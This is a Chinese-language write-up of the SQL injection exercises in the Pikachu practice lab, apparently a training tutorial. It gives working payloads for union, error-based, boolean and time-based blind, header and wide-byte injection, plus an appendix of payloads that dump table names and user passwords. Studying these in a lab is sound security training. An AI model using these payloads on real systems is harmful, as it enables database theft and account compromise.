Pikachu靶场-SQL-Inject
字数 1110 2025-08-11 21:26:33
SQL注入漏洞全面解析与实战指南
1. SQL注入概述
SQL注入是OWASP Top 10中排名第一的漏洞类型,危害极大,可能导致:
- 数据库信息泄露(被脱裤)
- 数据被篡改或删除
- 服务器权限沦陷
形成原因:前端传入后台的数据未经严格过滤,直接拼接到SQL语句中执行。
防御策略:
- 对传入变量进行危险字符过滤
- 使用参数化查询(Parameterized Query/Statement)
- 谨慎使用ORM框架的拼接功能
2. 数字型注入(POST)
特征:参数为数字类型,无引号包裹
检测步骤:
- 输入
id=1'观察是否报错 - 判断字段数:
id=1 order by n直到报错 - 确定回显点:
id=1 union select 1,2,...
利用方法:
-- 获取用户和数据库名
id=1 union select user(),database()
-- 获取所有表名
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
-- 获取表字段
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
-- 获取数据
id=1 union select group_concat(username),group_concat(password) from users
3. 字符型注入(GET)
特征:参数用单引号包裹
检测步骤:
- 输入
name='观察是否报错 - 使用
-- q闭合单引号 - 判断字段数:
' order by n -- q
利用方法:
-- 基本查询
' union select user(),database() -- q
-- 获取数据
' union select group_concat(username),group_concat(password) from users -- q
4. 搜索型注入
特征:用于搜索功能,通常有LIKE语句
检测步骤:
- 输入
'观察报错 - 判断字段数:
' order by n -- q - 通常比字符型多一个回显点
5. XX型注入
特征:闭合方式包含括号)
检测步骤:
- 输入
'观察报错信息是否包含) - 使用
)-- q闭合 - 后续步骤类似字符型注入
6. Insert/Update注入
特征:出现在插入或更新数据的场景
检测方法:
- 在注册或修改信息处抓包
- 参数后加
'观察是否报错
利用方法(报错注入):
-- 查询数据库名
username=' or updatexml(1,concat(0x7e,(select database())),1)or'
-- 分段获取表名(解决显示不全)
username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'
-- 逐个读取表名
username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'
替代函数:
-- 使用extractvalue
username=' and extractvalue(1,concat(0x7e,(select database())))and'
7. Delete注入
特征:出现在删除操作中,通常ID参数直接拼接
检测方法:
- 输入
id=58'观察是否报错 - 不需要闭合单引号
利用方法:
-- 直接注入
/vul/sqli/sqli_del.php?id=59 or updatexml(1,concat(0x7e,(select database())),1)
8. HTTP Header注入
特征:User-Agent、Accept等头部字段带入SQL查询
检测方法:
- 修改User-Agent为
'观察是否报错 - 注入方式与Insert/Update类似
9. 布尔盲注
特征:只返回True/False,无详细报错
检测方法:
- 输入
lucy'返回False说明存在注入 - 使用条件判断获取信息
利用方法:
-- 判断数据库长度
lucy' and length(database())>6-- q
-- 逐字符判断库名
lucy' and (substr(database(),1,1))='p'-- q
-- 判断表名
lucy' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'-- q
10. 时间盲注
特征:无回显,通过延时判断条件真假
检测方法:
kobe' and sleep(3)-- q
利用方法:
-- 判断数据库长度
kobe' and sleep(if((length(database())=7),0,3))-- q
-- 逐字符判断
kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q
11. 宽字节注入
特征:数据库使用GBK编码,转义符\可被绕过
原理:%df%5c组成繁体字"連",吃掉转义符
利用方法:
kobe%df' union select group_concat(username),group_concat(password) from users -- q
附录:常见Payload
- 基础信息获取:
select user(),database(),version()
- 表信息获取:
select group_concat(table_name) from information_schema.tables where table_schema=database()
- 列信息获取:
select group_concat(column_name) from information_schema.columns where table_name='users'
- 数据获取:
select group_concat(username),group_concat(password) from users
- 报错注入函数:
updatexml(1,concat(0x7e,(select user()),0x7e),1)
extractvalue(1,concat(0x7e,(select user()),0x7e))
- 盲注技巧:
-- 布尔盲注
and ascii(substr((select user()),1,1))>100
-- 时间盲注
and if(ascii(substr((select user()),1,1))>100,0,sleep(3))